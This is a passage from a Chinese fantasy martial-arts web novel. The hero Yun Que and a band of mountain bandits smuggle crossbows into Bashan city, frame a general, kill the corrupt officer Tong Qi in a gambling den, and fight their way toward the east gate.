“哈!我们这种赌狗,就该不得好死!可惜我修为不够,我那好兄弟佟岐是八品炼骨境巅峰武者,若能杀了他,我常威宁可被千刀万剐!下油锅上刀山,我愿永世不得轮回!换他一条命来!” 小小的屋子里,沉默无声。 瞎子坐在旁边低着头,一脸苦涩,他第一次听闻大当家的过往。 牧青瑶轻轻蹙着眉,她恨常威这种连妻儿都能当做赌注的赌徒,更恨那个奸诈的佟岐。 云缺提起酒坛,给自己和常威各自倒满。 嘭! 重重的撞了碗,云缺一饮而尽。 牧青瑶以为云缺同情常威,想要以男人的方式与对方豪饮一番,借酒消愁,结果却听云缺道: “相识一场,既然大当家拿我当朋友,你的仇,我帮你报。” 常威醉醺醺的点点头,刚要说好,忽然愣了下,猛地抬头盯着云缺,醉意清醒了大半。 “你要杀了佟岐?” “是啊,这种祸害连妖都不如,不宰了,留着过年么。”云缺笑道。 常威的五官渐渐狰狞起来,一把摔碎酒碗,吼道: “好!二当家若能帮我宰了佟岐那畜生,我常威这条命就归你了!你想在八山城干多大的买卖,我都奉陪到底!哪怕你要去宰皇帝,我也跟你一起上!” “一言为定!男子汉大丈夫,就该干票大的!”云缺大笑着离去。 出门后,云缺回头看了眼小屋。 心里默默的自语道: “我替你报仇,你替我送命,这才是朋友啊。” 云缺从来没有可怜过这些山匪。 死在黑风寨山匪手里的人命,这些年肯定有不少,从山林里时常能见到的枯骨即可看得出来。 山匪都该死。 可以说死有余辜。 不过云缺是个讲究人。 拉着一群本就该死的山匪去做炮灰,至少顺手帮人家完成最后的夙愿。 反正在城里是要杀人的。 否则官军就不会当真追杀。 云缺要自导自演一出事关生死的大戏,如果演得假了,根本骗不过红莲教。 枉杀无辜这种事,云缺还做不出来。 不过该杀的人,现在不就有了么。 休息的两天时间,云缺和牧青瑶在山林里找到不少鸟蛋,留作备用。 这些日子,黑风寨劫持的通关文牒也够了。 第三天,云缺终于等到了进城的最后一个契机。 有一队运送茶饼的商队途经双角山,瞎子带来消息后,云缺当即下令,命山匪将其截住,连人带货全带到寨子里。 商队三十多人,多数是家仆,运送五大车茶饼。 商队主人是个老头,五十来岁,带着个亲闺女。 被山匪劫持后,父女俩吓得面无血色,浑身发抖,一个劲哀求饶命。 云缺看了看父女俩的装扮,满意的点点头,吩咐道: “衣服,都脱掉。” 老者的女儿二十多岁,看打扮尚未出嫁,模样虽然一般,但身材相当不错。 她以为山匪劫财又劫色,哭哭啼啼的开始宽衣解带。 周围全是手持钢刀的凶悍匪徒,她哪敢不从。 老者哀叹着闭上眼,满脸愁苦。 落到山匪手里,哪能有什么好下场,老者已经不憧憬什么,只求最后女儿能留下一口气就行。 正心生悲苦自己,老者听到那神色冷峻的二当家又道: “愣着做什么,你也脱!” “啊?”老者瞪大了眼睛,心说这帮山匪到底有什么爱好? 他不敢多问,把自己的外衣也脱掉。 云缺将老者的外衣套在自己身上,还算合身,又把女人的外衣交给牧青瑶。 常威看出云缺的打算,立刻让人把外面那些家仆的外衣全都抢来,自己先换上一套。 云缺命人把劫来的这帮人全都绑住手脚,扔在一间破旧的大屋里。 撵走其他山匪后,云缺掐了把女人的下颏,笑道: “算你们走运,一天之后,找机会自己逃命吧,别走早了,走早容易死。” 随后叫上黑风寨所有山匪,带着五大车茶饼下了双角山,直奔八山城。 过了好久之后,等外面再无动静,被绑住的女人又开始哭哭啼啼,哀怨道: “爹,他摸我……呜呜呜……” 老者叹了口气,苦涩道:“委屈我姑娘了,他摸就摸吧,只要他不摸为父就行啊。” 八山城外。 密林中,一群山匪汇聚在一处。 云缺早将百把军弩藏在车上的茶饼下面,车队的出现,正好解决了将重弩带进八山城的难题。 只要不仔细检查,在外面绝对看不出端倪。 站在三百多名山匪面前,云缺下达了最后的命令。 “一百名训练过军弩的兄弟跟着我混进八山城,剩下的两百多兄弟留守于此,你们只有一个任务,当看到烟花响箭的信号,立刻攻占西城门,给我和大当家守住这条退路。” “记住一点,占领城门后,第一时间将城门烧毁,之后能坚持多久就坚持多久。” “做完了这一票,兄弟们这辈子也就够本了!” 云缺说完,一众悍匪摩拳擦掌,一个个眼珠子通红,凶悍如猛虎。 打劫的买卖,自然越大越好,谁都想赚一份泼天富贵,从此金盆洗手享受人生。 然而山匪并不知道的是, 二当家说的这辈子够本了,不是这一票的收获够花一辈子。 而是他们这辈子的命,活够本了。 也该死了。 这次下山,云缺将黑风寨里所有的煤油都带了出来。 目的就是烧毁西城门,让八山城的西城有门也关不上。 这样一来,红莲教即便发现端倪,也会选择前来西城门拦截。 而云缺最终要走的,却是直通天祈的东城门! 这一招叫做明修栈道,暗度陈仓。 第59章 私通山匪 八山城西门。 进城的队伍排出很远。 作为皇城附近的大城,八山城的规模是百玉城数倍以上,繁华程度远非知远县地界的小城小镇可比。 日上三竿之际,终于排到了云缺。 城门口的军兵头领一口大黄牙,瞥了眼车队,拿腔作调的道: “车上装的什么。” “都是茶饼子,远道来的,赚点辛苦钱。”云缺说着塞给对方二两银子。 别看钱不多,对方满意的点点头。 这种事,云缺轻车熟路,因为他太了解梅钱。 梅钱曾经说过,城门口给钱是有讲究的。 一两银子,说明货物贵重,怕军兵查验的时候弄坏了得不偿失。 二两银子,除了货物贵重之外还急着交货,怕耽搁了时辰。 三两银子,是与城门守军有过节,害怕对方刁难使坏。 一旦超过三两银子,那就不对劲了,其中必定有见不得人的原因。 梅钱但凡收到三两银子以上的过路费,他不仅不会放行,反而会彻查车队货物,肯定能揪出更多的好处来。 军兵头领装模作样的打开两箱茶饼,只看了两眼便大手一挥放行。 至于通关文牒,更是随便亮了下就完事,都懒得看。 一路顺利。 当一行人即将抵达城门口的时候,城里走出一队军兵,为首的是名偏将,身着甲胄。 “等等。” 偏将四旬上下,骑着高头大马,扬手拦住车队。 云缺暗道倒霉。 这偏将明显不是守城门的人,也许巡逻到此,或者要出城办事。 如果仔细查看的话,茶饼下边藏的重弩就会穿帮。 偏将下马走到车队前,敲了敲大木箱,道: “里面是什么。” 收了钱的军兵头领急忙赔笑道:“回禀黎将军!是茶饼子,小人刚刚验过了。” 黎将军冷哼一声,道: “总共几十箱,你只验了两箱,最近山匪泛滥,若这些箱子里藏着悍匪进城作乱,你该当何罪。” 军兵头领冷汗下来了,一个劲告罪。 这一幕,让黑风寨的众人无不捏了把汗。 稳重的灵芸郡主此刻也觉得心跳加速,紧张起来。 黎将军显然想要教训教训那军兵头领,说的也都是吓唬人的话。 可他偏偏说对了! 箱子里虽然没有悍匪,但拉箱子的这帮人可都是悍匪! 黎将军亲手打开一个大木箱,将茶饼子全都倒了出来,从上检查到下。 百把军弩,集中在车队最后边的木箱里,如果这么翻下去,早晚露馅。 常威紧张得喉结滚动,咽了下口水。 他很清楚能在八山城这种大城担任偏将的,至少要七品修为才行。 若被对方看到重弩,那就麻烦了。 黎将军连着将两个木箱全部清空,吩咐手下道:“把所有箱子都打开。” 周围军兵连忙开始撬箱子,清空茶饼。 哐当一声。 云缺在此时做了个出人预料的举动,将一个木箱推下车,砸出一声闷响。 “这位将军,你东西掉了。” 云缺指了指掉在黎将军脚边的木箱,一脸认真的道。 “哦?是么。” 黎将军眯起眼,语气淡漠的道。 “当然了!我亲眼看见的。”云缺道:“茶饼最怕受潮,经不起折腾,大人行个方便。” “哼,少来油嘴滑舌,规矩就是规矩,岂能容你这等商贩轻易更改。” 黎将军话音冷漠,抬脚将木箱踢到自己身后,对查验木箱的军兵吩咐道: “手脚都麻利点,本将军还要出城办事,没工夫在这浪费时间。” 检查货物的军兵闻言立刻心领神会,不再往箱子底下翻,草草查看一番后纷纷跳下车来。 黎将军带着一箱子茶饼与手下扬长而去。 看都没看云缺这边一眼。 一众山匪松了口气,急忙把散落的茶饼重新装好。 有惊无险! 牧青瑶朝云缺投去佩服的目光。 一箱子茶饼,便将一次危机完美解除,这等临危不乱的风范,实属难得。 其实云缺早看出那黎将军对守军头领不满,拿自己这车队敲打对方而已。 既然将军不满,那就让他满意好了。 礼物的轻重,永远是衡量满意度的最佳标尺。 只是云缺没想到,那黎将军收得如此痛快,一点没怀疑什么。 一箱子茶饼,至少几十两银子,换成梅钱肯定会发现蹊跷之处。 看了眼远处的黎将军,云缺冷笑一声。 什么偏将,连梅钱都不如的饭桶而已。 进城之路已经畅通无阻,云缺没有立刻离开城门,而是又搬下来一箱子茶饼。 找到守军头领,道: “劳烦官爷,帮忙把箱子送去黎将军府上,今后我们少不得要麻烦黎将军。” 说完,云缺又递过去二两银子。 小头领一听连连点头,拍着心口说放心,肯定送到。 等云缺一行人走后,小头领捏着手里的二两银子嘀咕道: “真他娘是奸商,这次让你们蒙对了,黎将军最爱喝茶,抱上这棵大树,今后在八山城有的赚喽。” 二两银子的跑腿钱,自然不少,而且小头领也不用自己去,叫来个手下跑腿即可。 他什么也不用干,平白得了二两银子,自然皆大欢喜。 进了城,一众山匪终于轻松下来,东瞧西望。 身为山匪,平常哪敢来八山城,他们很多年都没体会过城里的生活,看什么都新鲜。 萍山君跟在云缺旁边,气愤道: “一箱茶还不够,你又多给那混蛋送一箱,刚才就该一口把他咬成两半,看他还敢不敢勒索好处!跟你们人族打交道,真叫人火大!” “你懂什么,这叫破财消灾,反正破的又不是你的财。”云缺道。 “我就是看不惯你们人族的龌龊!气死老子了!”萍山君愤愤不平。 “看不惯你可以慢慢学嘛,等哪天你被更强的妖族勒索,你也可以准备点好处,没准儿能保命。”云缺道。 萍山君气得咬牙切齿,对于云缺的歪理,他实在无话可说。 牧青瑶好心的解释道: “送的第二箱茶饼,不是为了破财消灾,而是为了栽赃嫁祸。” “栽赃?送他东西怎么是栽赃呢?”萍山君满头雾水。 牧青瑶耐心的道: “你想想看,我们这些人是如何进的城,若没有那黎将军通融,箱子里的弩箭早被发现了,黎将军带走一箱子茶饼,我们就再送一箱到他家,这叫证据确凿。” “什么证据?”萍山君越听越糊涂。 “私通山匪。”牧青瑶小声道。 萍山君恍然大悟,它想起来自己除了妖族之外,还有个身份呢。 我是山匪呀! 黑风寨的人不知道云缺的最终目的,萍山君是知道的。 所谓干一票大买卖,指的是搅乱八山城,引一群官军追杀。 为了护送灵芸郡主,云缺必定会杀人的,等这边悍匪动手,那黎将军就成了同谋,他家里的一箱子茶饼就是最好的证据。 到时候即便不丢脑袋,也得丢官罢职,落个凄惨下场。 想通之后,萍山君心情变得畅快起来,朝着云缺赞叹的道: “你们人族的花花肠子真多!尤其是你,心真黑!” 牧青瑶听得捂嘴直乐。 云缺没好气的瞪了小郡主一眼。 跟个虎妖解释什么,让它稀里糊涂多好,以后还能这么坑它一次。 这下好了, 萍山君长见识了,这招对它没用了。 找了家不起眼的小酒馆,云缺把所有吃食全部买下。 百十来个壮汉,不吃饱,待会儿打起来可没力气。 牧青瑶的处境,从进城开始就变得十分危险。 红莲教的眼线不知有多少,所以牧青瑶在城里逗留的时间越短越好。 云缺准备吃完饭就动手。 先宰了佟岐。 杀掉一个校尉,绝对是重罪,足以惊动守军追杀,到时候云缺只管带着牧青瑶按照计划逃亡即可。 至于售卖军弩的那个胡子,令狐豪,云缺没打算动他。 最初的计划,云缺想要杀掉令狐豪,来制造混乱。 自从得知取货一方是红莲教,云缺便打消了这个念头。 有可能那些军弩本身就是红莲教从皇城里运出来的。 八山城只是一处过路的站点而已。 而那个胡子,也极有可能是红莲教的人。 去杀他,无异于撞进红莲教的老巢。 处理胡子的事好办。 等牧青瑶回到皇城,大可让皇帝下令抓捕令狐豪,拷问真相。 令狐豪在八山城有一处典当行,跑得了和尚跑不了庙。 吃饱喝足,结完账,云缺刚站起来要走,听到身后有人大喊。 “穿黑衣的小子,给本官站住!” 这句喝声官威十足,出现得很突然。 一群山匪刚吃完,还没起身呢,听闻此言,齐刷刷抓住各自的武器,准备随时动手。 云缺脚步一顿。 这声音很熟。 回头一看,还真是熟人! 小酒馆有包间,走出两个中年人,一个五大三粗,一个穿着小鞋。 正是藏石镇的县令马小脚马庸,和主簿牛不才。 云缺二话不说将两人又拦回了包间,郡主的身份,不能在外面那群山匪面前提及。 要不然容易坏事。 “你们怎么在这?”云缺关上门道。 马庸春风得意的道:“嘿嘿,这次托了你和郡主的福哇,本大人我已经升官了,调任到八山城。” 牛不才志得意满道:“大人现在不是县令,而是调任到八山城,成为知府了!” 说完两人才看到旁边换了衣装的郡主,急忙拜见。 云缺诧异着马庸的升官速度,问过后才得知,原来藏石镇上次的凶案,马庸下令追查,从三个凶手的身份顺藤摸瓜,揪出一个商行,那商行居然走私军械,查出些来自军中的刀剑还有十几把重弩。 破获此等大案,加上马庸和牛不才动用人脉打点,终于从县令升为知府,统管一方。 得知马庸的升官经历,云缺的神色变得古怪起来。 这个马小脚,运气够好的。 藏石镇那三个武者显然是红莲教的人,背后的商行也一定是红莲教的一处堂口。 马庸这家伙不知真相,居然真派人把红莲教的堂口给端了,他能活到现在,估计是红莲教不想多惹事端,才没找他算账。 否则马庸自己怎么死的都不知道。 “下官能坐到知府的位置,全靠郡主提携,今后郡主若有吩咐,下官鞠躬尽瘁死而后已!”马庸拍马道。 “对!死而后已!”牛不才连忙跟着一起拍。 云缺道:“马大人来得正好,郡主有件事,需要你帮忙出力。” “郡主请讲!刀山火海万死不辞!”马庸道。 “对!万死不辞!”牛不才跟着道。 牧青瑶疑惑着望向云缺,不知这两人能帮什么忙。 云缺沉声道:“请大人点燃烽火台!” 第60章 杀人放火 马庸牛不才一听顿时吓得一哆嗦。 烽火戏诸侯这种事,皇帝可以玩,他马庸可玩不起。 玩一次,就是诛九族的下场! “不瞒大人,郡主现在身处危机之中,随时都有生命危险,需要皇城派兵来援”云缺道。 “八山城里有上万守军,难道这么多人还不够保护郡主?”马庸疑惑道。 “我得到确切消息,八山城的守军里有叛徒,想要郡主的命。”云缺沉声道:“所以才需要皇城里的援军,,你放心,点燃烽火非但无罪,反而大功一件!” 马庸闻言想了想,一咬牙答应下来。 烽火之事,事关重大,如果是寻常的郡主公主,马庸绝对不会冒险去办。 即便救下个公主,没准得好的赏赐还抵不过皇帝的怒气,毕竟没有真正的敌军,皇帝得知真相后肯定不高兴,得不偿失。 但灵芸郡主的分量足够! 为了灵芸郡主的安危,以烽火示警皇城,非但不会引来皇帝的怒火,反而有极大几率加官进爵。 最关键的是,抱上了灵芸郡主这棵大树,以后在晋国之内即便不能平步青云,也绝对没人敢惹。 灵芸郡主可是阜南王的亲闺女! 整个大晋,没几个人能与阜南王平起平坐。 约定好烟花响箭作为点烽火的信号后,马庸牛不才两人匆匆离开去准备了。 两人走后,牧青瑶赞许道: “你简直智计百出,烽火一起,皇城必定会发兵八山城查看,我们又多了一份后手。” 引皇城发兵,相当于缩短了抵达皇城的距离。 皇城不来人,云缺与牧青瑶至少要逃到城门下才行,而皇城若发兵,等同于前来迎接。 “在强大的猎人面前,再狡猾的猎物也无所遁形,难有活路。”云缺望向窗外,平静的道。 万里无云,天高气爽。 可对坐的两人,心里都压着一层沉甸甸的乌云。 “云缺,我以东家的身份与你约定。” 牧青瑶目光清澈,道:“我们这场买卖,到四品强者出现时为止,若有四品来袭,你自己逃,如果你还要送死,我之前一切的承诺都会作废,你拿不到银子,也得不到学宫名额。” “你是东家,你说了算。”云缺抻了个懒腰,道:“不过我的刀想砍谁,我说了算,走,跟我去杀人放火!” 八山城东街,有一处阔绰的宅院。 这里是佟岐的府宅。 常威带着个帽子,遮住大半张脸,此刻咬牙切齿,恨得无以复加。 这里他来过不止一次。 当年佟岐的宅院连现在一半规模都没有,如今竟扩建到这等程度,可见人家混得有多好。 云缺推门而入。 “你们谁啊?”一名老家丁语气不善的道。 “可是佟岐佟校尉的府上?”云缺客气的道。 “你是哪里来的山野村夫,胡说什么!我家老爷早是偏将了!”老家丁冷着脸道。 “是吗,原来升迁了,恭喜恭喜啊。”云缺笑道。 “你懂不懂规矩,想见我家老爷先送拜帖,见不见你们,看我家老爷的心情。”老家丁鄙夷道。 “没那么麻烦吧,我和佟岐可是老朋友了,你去通报一声,他肯定会见。”云缺道。 “胡说八道!赶紧滚!我们佟府没有剩饭剩菜打发乞丐。” 老家丁见云缺只是个少年,哪里肯信,不耐烦的摆手,轰苍蝇一样。 “看来你家老爷做官做久了,连家里的奴才都养成了这么大的官威。” 云缺这边说完,身后的常威上去就是一脚,把老家丁踢翻在地。 “老东西!当年你可没这么硬气,看到老子都是点头弯腰的,现在出息了啊!” 常威拎起老管家,狞声道:“睁开你的狗眼好好看看,老子是谁!” 老家丁惊呼道:“你、你是常威!” 第61章 赌命 赌坊里鸦雀无声。 无论赌徒,还是赌坊里的仆役,全部愣怔在原地。 输惨的赌鬼天天有。 上来先砍庄家一条胳膊的,谁也没见过! 那庄家愣了片刻,惨叫一声连连倒退,死命的捂着断臂,脸色煞白。 其实他这条胳膊,丢得不冤。 赌坊里的把戏,云缺哪能不知道。 百玉城里,可有着不少赌坊呢。 没钱的时候,云缺与梅钱往往会去赌坊捞一笔,两人不赌钱,专门戳破赌坊里的把戏,强迫庄家赔钱,以至于后来一看到云缺和梅钱,赌坊老板马上先送钱再送客。 云缺的耳力,远非同阶武夫能比。 骰子的点数,他随便一听就知道是多少。 现在肯定是大。 刚才那庄家要开骰蛊的时候,一手在上,一手在下,显然要动用机关,将骰子的点数改变成小。 本来云缺是赢家,人家偏偏要作弊,那没办法,只好砍只手下来,让对方剩下一只手,只能开骰蛊,按不了机关。 骰子的数,自然不会变成小。 牧青瑶始终站在云缺身后,被吓了一跳。 云缺翻脸的速度,连小郡主都没想到。 云缺笑呵呵的坐在原位,道: “你不是玩得起么,开呀。” 庄家疼得满头冷汗,那还敢开。 这要开了,赌坊就得输出去五百两! 五百两银子,足够买他一条胳膊! 输这么多,不被东家打个半死都算便宜。 这时从后场走出一名男子。 身形高挑,四旬上下,穿着一身锦衣,嘴角微微上扬,看起来在微笑。 躲在人群里的常威一看到此人,立刻恨得咬牙切齿,恨不得冲上去将其千刀万剐。 此人正是佟岐! 佟岐来到赌桌对面,看了眼庄家后将目光落在云缺身上。 “我来开。” 说罢佟岐直接打开骰蛊。 里面的点数,果然是大。 佟岐很痛快的拿出张五百两银票,放在桌上,道:“你赢了,不过,你得再跟我赌一局。” “行啊,你想赌点什么呢。”云缺面带笑容的道。 “就赌你手里的一千两银票。”佟岐微笑起来,道:“你若赢,可以拿着两千两银票走人,你若输,你的一千两我不要,我只要你一只手。” 佟岐这位真正的幕后东家一出现,便带着一股慑人的压迫感。 旁边的一众赌徒听得心惊胆战。 赌手! 这等赌注谁都听过,不过都是些赌鬼用来唬人的说辞罢了。 谁敢真的赌手。 那不是钱的问题,而是玩命! “一只手啊。”云缺看了看自己的双手,道:“没什么意思,不如再玩大点。” “八山城的赌局,多大,我都奉陪到底!”佟岐冷笑道。 “爽快!”云缺哈哈一笑,一拍桌子道:“咱们俩赌命!你赢,我死,我赢,你死!” 佟岐的神色渐渐阴沉了下去。 沉默良久,佟岐冷声道: “好,我就陪你玩一场大的。” 说完将一个骰蛊和三个骰子扔给云缺,佟岐自己也拿了相同的一套。 “公平起见,我们各自摇骰,比大小,大者胜。”佟岐冷声道。 云缺二话不说,拿起骰蛊开摇。 佟岐一样开始了摇动骰蛊。 赌坊里静得落针可闻,只听到哗啦啦骰子的响动。 佟岐很快将骰蛊落地,神色冷淡的道: “你应该听得出我的点数,我很想知道,你拿什么赢我。” 佟岐这种老油条,自从云缺说出赌命的那一刻,他就知道云缺是来踢场子的。 第62章 年过五旬的少年 佟岐是个极其谨慎的人,心思细腻,阴狠毒辣。
他坐镇赌坊,轻易不会露面,毕竟这种见不得人的买卖,与他如今偏将的身份不符。一旦需要他出面的时候,便是杀人的时候。赌坊是他的摇钱树,谁敢断他财路,他就会送谁归西。佟岐在出来之前,早已判断出云缺的修为,只是个区区八品武夫。云缺带来的一些山匪,佟岐也在预料之中。即便常威现身,佟岐也毫无意外。这些年,他其实一直在等常威来报仇,顺便送这位老友上路。可佟岐万万没想到的是,他的赌坊里居然会出现一头虎妖。而且还是七阶虎妖!当虎口吞下的那一瞬,佟岐的稳重彻底消失,大惊之下爆发出七品炼神境武者的全力,在虎牙合拢之前逃了出去。咔嚓!大口咬合的闷响,就在佟岐身后,吓得他魂不附体。七品武者确实很强,近身之下没有任何修士可以匹敌。但妖族是个例外。七品武夫对战七阶妖族,胜算至多五五开。武夫身体强横,妖族更加彪悍,如果没有武器的话,七品武者在七阶妖族面前连一成胜算都没有。此刻佟岐的心里只剩下一个念头。七阶虎妖到底是怎么进的八山城!“常威你敢勾结妖族!”佟岐大骂出口。嗡!!佟岐的脚下尚未站稳,就听到了刺耳的破风声。无需多看,以佟岐的经验立刻判断出那是长刀斩来的响动。从刀刃撕破空气炸出的响动分析,这一刀的力道无比恐怖,不弱于虎口吞杀!佟岐吓得亡魂大冒。斩来的长刀几乎与虎口合拢的时间重叠,没给他任何躲避的余地。佟岐只能以全力动用法器短刀防守。他认为自己的修为,加上法器,足以挡下对方这一刀。因为赌坊里除了身后的虎妖,只有那个黑衣少年与佟岐是八品武者,其他山匪充其量只有九品修为。佟岐在心里已经打好了主意。只要他挡住这一刀,立刻破窗而逃,去向大将军求救。八山城距离皇城不远,此地守军众多,更有五品境界的将军坐镇,区区一头七阶虎妖,绝对翻不起风浪。佟岐打算得很好,但他算错了一件事。迎面斩来的一刀,他根本扛不住!咔嚓!!!一道血光闪过。佟岐的法器短刀连着他的脖子,被一刀斩断!鲜血迸溅,人头飞起。当佟岐觉得身体失去了知觉之际,他终于看清斩来的那把刀。刀身漆黑,遍布着无数繁密的血纹,那些血纹中心汇聚着一颗诡异的竖瞳!长刀之后,是面色冷峻的黑衣少年。那是什么刀?佟岐很想问问,可惜已经说不出话,只能在脑海里泛起一丝疑惑。他想不通。自己堂堂七品炼神境武者,又有法器在手,怎么会被一个八品武夫一刀斩杀。带着这份疑惑,佟岐最后的神智彻底消散。骨碌碌。人头落地滚出老远。云缺随之收刀,吞了一把鸟蛋。萍山君再次幻化为人形,重新戴好斗笠。出手之前,云缺早决定动用全力,速战速决。一旦让佟岐逃了,那才是麻烦。到时候恐怕连城都出不去,城门处肯定层层设防,加派重兵把守。在八山城里与一名偏将鏖战,最后会惊动将军苏鸿山,更会惊动红莲教的眼线。所以云缺直接动用了妖力,斩出最强一击。其实也怪佟岐大意。他根本没看得起云缺这种八品武者,全部精力都放在身后的萍山君身上。否则想要杀掉一名七品,云缺所要消耗的力量远远不止现在这么少。见佟岐被杀,断手的庄家吓得目光呆滞,缩在角落里颤抖个不停。赌坊之地,闹事的向来不少。打架斗殴者比比皆是,甚至人命案都出过几次。无一例外的,全被佟岐这位东家摆平了。谁让人家是偏将,又是七品强者呢。那庄家怎么也没想到,他们东家有一天会被人砍了脑袋!八山城里杀偏将,这得多大的胆子!常威红着眼睛扑到尸体近前,举起刀一顿乱砍,直接将佟岐的尸体大卸八块。心头这口憋了多年的恶气,终于吐了出来。“畜生!你没想到吧,你也有今天!”常威遍布血丝的眼睛里热泪盈眶,沙哑着低吼。大仇终于得报!一群山匪跟风卷残云一样,很快将赌坊收刮一空,每个人都拿到不少银子,喜笑颜开。屋子里还剩个断臂的庄家。云缺来到此人近前,语重心长的道:“以后别坐庄了,干这行,风险太大,动不动丢胳膊少腿,你说是吧。”“是是是!我以后再也不来赌坊!”庄家吓得魂不附体,点头如鸡吃米。云缺满意的点点头,转身吩咐道:“卸他一条腿。”瞎子在旁边早准备好了,上去一刀,把庄家的左腿切了下来。这下那庄家变成独臂独腿,彻底成了残废,大叫一声昏死过去。云缺拿出事先备好的毛笔,沾着佟岐的血迹,在赌坊里留下几个大字。替天行道!将佟岐的人头装进一个牛皮口袋里,云缺给等在门口的牧青瑶投去一个眼色。牧青瑶目睹了刚才的打斗,她立刻会意,扔掉裙衣,里面是一身与云缺一样的黑衣,随后挽起一头秀发,戴上一顶黑帽。装扮一换,乍一看还以为是个俊俏的公子哥儿,少了几分娇柔,多了几分飒爽。此刻已是黄昏。城门即将关闭。在赌坊门口,云缺拿出一枚烟花响箭。点燃引线后,箭尖朝天。嗖!!!嘭!!!响箭飞起近百丈后,在天空炸起一团绚烂的烟花。整个八山城都能清楚的看到。信号已发,下一步,便是逃亡之旅。“走,出城!”云缺带着众人快速离开赌坊,在东街尽头与车队汇合。同一时间。八山城西城门一阵大乱。两百多名山匪从林间杀出,很快抢占了城门,守军见对方来势汹汹,不得已退回城内。占领城门后,这些山匪按照云缺的吩咐,用煤油点燃城门。一时间火光冲天。守军都看愣了。哪有敌人只占领城门口,不进城反而烧城门的?见山匪们守着城门不进来,守军中的头领急忙派人去通知将军,召集援军。很快大批守军赶到,冲向城门,与山匪展开厮杀。八山城今日乱象四起。不仅城门被烧,城中佟岐的府邸也燃着熊熊火光。当赶来的军兵把大火扑灭,才从府上家眷口中得知有山匪进城,洗劫了佟府。两处大火,终于惊动了八山城守将苏鸿山。得知消息后,苏鸿山面露疑色。八山城附近有山匪作乱,他早就知道,而且围剿过多次。可惜那群山匪太狡猾,居住在深山,看到大军,立刻化整为零逃之夭夭。以至于苏鸿山一身五品修为,偏偏拿那些老鼠一样的山匪没办法。即便杀掉一些,很快又会有新的山匪出现。苏鸿山不厌其烦,最近做出个决定。他打算亲自出手,自己一个人出城,不带一兵一卒,把周围的匪寨统统连根拔起。一位五品武者,单枪匹马即可覆灭一处匪寨。早些时候,苏鸿山派遣手下一名偏将出城去收集附近匪寨的线索,把具体位置带回来即可。那名出城的偏将,正是云缺进城时遇到的黎将军。苏鸿山多年没有出过手,决定这次大开杀戒,震慑宵小。结果没等他去找山匪算账,人家先打进了城里。苏鸿山怒意大起,吩咐道:“护卫营集结!将那群胆大包天的山匪尽数格杀,备马!”将军备马,亲自出战!苏鸿山的护卫营,是八山城守军中真正的精锐,由九品武者组建而成,战力极强。很快一匹高头大马出现在门外。这匹马通体如墨,比普通战马要壮硕一倍以上,浑身没有毛,生着一身鳞片。旋风驹,七阶马妖!旋风驹速度惊人,快若旋风,由苏鸿山亲自驯化为坐骑。东城门。云缺带着车队来到城门下。进出城门的人已经不多,再有一会,城门便会关闭。趁着城门还开着,云缺选择即刻出城。一般情况下,进城的车队都要经过检查才行,出示通关文牒。而出城的时候几乎没人多管。走到城门口,车队被一名城门守卫拦住。此人是名校尉,目光冷漠,扫了眼车队后吩咐道:“所有货物统统查验,把你们的身份文牒拿出来,所有人的都要检查。”这家伙属于没事找事了,小题大做。周围的守军立刻听命,过来检查货物。不过云缺不在乎。就算对方不找自己麻烦,云缺也要找这些守军的麻烦。云缺面带笑容递过去二两银子,道:“大人,通融通融,眼看着天黑了,我们得在天黑前出城才行。”那校尉冷冷的看了眼银子,根本没接,冷漠道:“你的文牒,拿来我看。”云缺答应了一声,将文牒交给对方。他这张文牒,是车队原本那老东家的,年纪根本不符。校尉立刻神色一冷,道:“这些,都是你的货?”“没错,做点小买卖。”云缺笑道。“你的文牒上,记载的年龄是五旬多,你今年有五十岁?”校尉狐疑道。“长得年轻,加上保养得好。”云缺道。“哼,你觉得我是三岁小孩,还是傻子。”校尉握住了刀柄。年纪与外貌,相差十几岁甚至二十几岁已经是极致,哪有年过五旬的少年人。“文牒不重要,我有口令,大人听完肯定让我通行。”云缺神秘兮兮凑过去,低声道:“红烛不灭!”“莲台永存。”校尉听闻这句话,下意识的接了句,随后他再次疑惑的看了看云缺,道:“你是哪个堂口的,我怎么从没见过你?” 第63章 打劫皇帝 红烛不灭,莲台永存,这是红莲教的口号。 城门口的校尉如此尽职尽责,过往的马车行人都要查看,这一点绝对不正常。 所以云缺猜测对方是红莲教的人。 果不其然,一句口号试出了对方的身份。 “新堂口,最近刚设立的,你可能没听过,叫做……” 云缺说着往前走了一步,在对方耳边低声道:“地府堂!” 噗!!! 不等那红莲教的校尉反应过来,他已经被一刀穿心,死于非命。 云缺的动作极快。 周围军兵还在检查车辆,一时没人注意到校尉已经被杀。 云缺将尸体靠在城墙,让其保持站立姿态,又把一个牛皮袋子塞在尸体的怀里。 “各位官爷都别忙活了,你们头儿叫你们过来分东西!”云缺高声喊道。 一群守军正无精打采的查看车上木箱,打开全都是茶饼,根本没什么好查的,眼看快门了,谁也不愿多忙活,都在抱怨首领没事找事。 一听云缺的招呼,再看到校尉怀里鼓鼓囊囊的牛皮袋子,这些守军立刻高兴起来。 以为首领收了好处,喊他们分杯羹,于是纷纷围拢过去。 不用干活还能拿好处,谁不愿意呀。 等二十几名军兵围拢过去,才发现校尉低着头,脚下全是血! 这时云缺动了。 如一道旋风般拳脚四起。 仅用了几个呼吸而已,就将周围军兵全部打翻在地。 “走!” 云缺当先押着马车冲向城门。 车队匆匆而行,刚到城门洞,就听到嘎吱吱一阵铁锁响动。 轰隆一声! 一面厚重的大门在城门洞的中心位置落下,封住了去路。 云缺这才发现,八山城的城门构造与百玉城不同。 百玉城只有一面城门。 而八山城的城门有两面! 在门洞里有一面极其厚重的吊门,平常悬在城墙的砖石内,从外面看不出来,关门的时候可以直接落下,形成双重城门。 之前在城下的打斗,城墙上的军兵已经看到了,这才放下吊门,挡住车队。 云缺没来过八山城,进城的时候只看到一面城门,如今被堵在城内。 云缺神色一冷。 必须即刻出城,还得带着马匹。 原本的计划,是车队出城后,立刻卸掉拉车的马匹,云缺与牧青瑶骑马逃向天祈。 萍山君的真身,越晚动用越好。 除非红莲教的高手追上来,否则亮出虎妖之躯,骑虎逃命,城里的红莲教一定会发现端倪,从而追杀。 那这场谋划,便前功尽弃了。 云缺抽出长刀,斩向城门,打算试试能不能将其破开。 结果一刀下去,城门上浮现出一层符文。 “法阵……” 云缺收起刀,不再尝试。 城门加持了法阵,一时半刻的破不开。 远处传来呼喝声,回头看去,有不少守军正朝着这边赶来。 云缺一把抓住门六,道: “能不能把马带出去?” “马匹太大,我看够呛。”门六发现云缺目光泛冷,急忙改口道:“我可以试试把门打开一点!” 